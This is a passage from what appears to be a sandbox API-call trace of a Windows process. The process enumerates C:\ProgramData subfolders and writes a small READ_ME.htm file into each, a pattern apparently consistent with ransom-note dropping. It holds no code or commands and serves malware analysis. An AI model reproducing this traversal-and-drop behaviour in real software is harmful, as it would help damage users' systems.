ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3e07f080, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x3e07f080, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.578] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0136.578] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0136.579] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0136.579] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0136.579] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9152f250, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x9152f250, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0136.579] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe2f19400, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x50bd0000, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x50bd0000, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~3")) returned 1 [0136.579] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8a7c4d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe8a7c4d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft OneDrive", cAlternateFileName="MICROS~2")) returned 1 [0136.579] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e07f080, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x3e07f080, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x3e07f080, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1 [0136.579] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x75fdb330, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0xb3a789d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xb3a789d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0136.579] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1f2b3de0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x1f2b3de0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1f2b3de0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft", cAlternateFileName="REGID1~1.MIC")) returned 1 [0136.579] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0136.580] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0136.580] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0136.580] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0136.580] SetErrorMode (uMode=0x0) returned 0x1 [0136.580] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Application Data", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Application Data", lpFilePart=0x0) returned 0x1f [0136.580] SetErrorMode (uMode=0x1) returned 0x0 [0136.580] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Application Data\\*" (normalized: "c:\\programdata\\application data\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0136.608] SetErrorMode (uMode=0x0) returned 0x1 [0136.612] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Application Data\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Application Data\\READ_ME.htm", lpFilePart=0x0) returned 0x2b [0136.615] SetErrorMode (uMode=0x1) returned 0x0 [0136.615] CreateFileW (lpFileName="C:\\ProgramData\\Application Data\\READ_ME.htm" (normalized: "c:\\programdata\\application data\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0136.616] GetFileType (hFile=0x1d0) returned 0x1 [0136.616] SetErrorMode (uMode=0x0) returned 0x1 [0136.616] GetFileType (hFile=0x1d0) returned 0x1 [0136.616] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a07b60*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x2a07b60*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0136.617] CloseHandle (hObject=0x1d0) returned 1 [0136.618] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Desktop", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Desktop", lpFilePart=0x0) returned 0x16 [0136.618] SetErrorMode (uMode=0x1) returned 0x0 [0136.618] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Desktop\\*" (normalized: "c:\\programdata\\desktop\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0136.620] SetErrorMode (uMode=0x0) returned 0x1 [0136.621] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Desktop\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Desktop\\READ_ME.htm", lpFilePart=0x0) returned 0x22 [0136.621] SetErrorMode (uMode=0x1) returned 0x0 [0136.621] CreateFileW (lpFileName="C:\\ProgramData\\Desktop\\READ_ME.htm" (normalized: "c:\\programdata\\desktop\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0136.625] GetFileType (hFile=0x1d0) returned 0x1 [0136.625] SetErrorMode (uMode=0x0) returned 0x1 [0136.625] GetFileType (hFile=0x1d0) returned 0x1 [0136.625] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a0d458*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x2a0d458*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0136.626] CloseHandle (hObject=0x1d0) returned 1 [0136.627] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Documents", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Documents", lpFilePart=0x0) returned 0x18 [0136.627] SetErrorMode (uMode=0x1) returned 0x0 [0136.627] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Documents\\*" (normalized: "c:\\programdata\\documents\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0136.630] SetErrorMode (uMode=0x0) returned 0x1 [0136.630] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Documents\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Documents\\READ_ME.htm", lpFilePart=0x0) returned 0x24 [0136.631] SetErrorMode (uMode=0x1) returned 0x0 [0136.631] CreateFileW (lpFileName="C:\\ProgramData\\Documents\\READ_ME.htm" (normalized: "c:\\programdata\\documents\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0136.632] GetFileType (hFile=0x1d0) returned 0x1 [0136.632] SetErrorMode (uMode=0x0) returned 0x1 [0136.632] GetFileType (hFile=0x1d0) returned 0x1 [0136.648] WriteFile (in: hFile=0x1d0, lpBuffer=0x28166e0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x28166e0*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0136.649] CloseHandle (hObject=0x1d0) returned 1 [0136.650] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Favorites", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Favorites", lpFilePart=0x0) returned 0x18 [0136.650] SetErrorMode (uMode=0x1) returned 0x0 [0136.650] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Favorites\\*" (normalized: "c:\\programdata\\favorites\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0136.670] SetErrorMode (uMode=0x0) returned 0x1 [0136.673] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Favorites\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Favorites\\READ_ME.htm", lpFilePart=0x0) returned 0x24 [0136.673] SetErrorMode (uMode=0x1) returned 0x0 [0136.673] CreateFileW (lpFileName="C:\\ProgramData\\Favorites\\READ_ME.htm" (normalized: "c:\\programdata\\favorites\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0136.674] GetFileType (hFile=0x1d0) returned 0x1 [0136.674] SetErrorMode (uMode=0x0) returned 0x1 [0136.675] GetFileType (hFile=0x1d0) returned 0x1 [0136.675] WriteFile (in: hFile=0x1d0, lpBuffer=0x281bff8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x281bff8*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0136.675] CloseHandle (hObject=0x1d0) returned 1 [0136.676] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft", lpFilePart=0x0) returned 0x18 [0136.676] SetErrorMode (uMode=0x1) returned 0x0 [0136.676] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\*" (normalized: "c:\\programdata\\microsoft\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9152f250, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x9152f250, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0136.677] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9152f250, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x9152f250, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.677] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assistance", cAlternateFileName="ASSIST~1")) returned 1 [0136.677] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab6eed0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2661ba40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x2661ba40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRun", cAlternateFileName="CLICKT~1")) returned 1 [0136.677] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0136.677] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1 [0136.677] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1 [0136.677] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1 [0136.678] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eHome", cAlternateFileName="")) returned 1 [0136.678] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IdentityCRL", cAlternateFileName="IDENTI~1")) returned 1 [0136.678] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3ee349fc, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3ee349fc, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1 [0136.678] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MF", cAlternateFileName="")) returned 1 [0136.678] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf410ce90, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0xf410ce90, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0xf410ce90, ftLastWriteTime.dwHighDateTime=0x1d706ad, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetFramework", cAlternateFileName="NETFRA~1")) returned 1 [0136.678] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0136.678] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab22c10, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x3100cb20, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x3100cb20, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0136.678] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9152f250, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xd7a2d040, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xd7a2d040, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0136.678] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RAC", cAlternateFileName="")) returned 1 [0136.678] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7857c6f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7857c6f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7857c6f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0136.678] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7a090130, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7a090130, 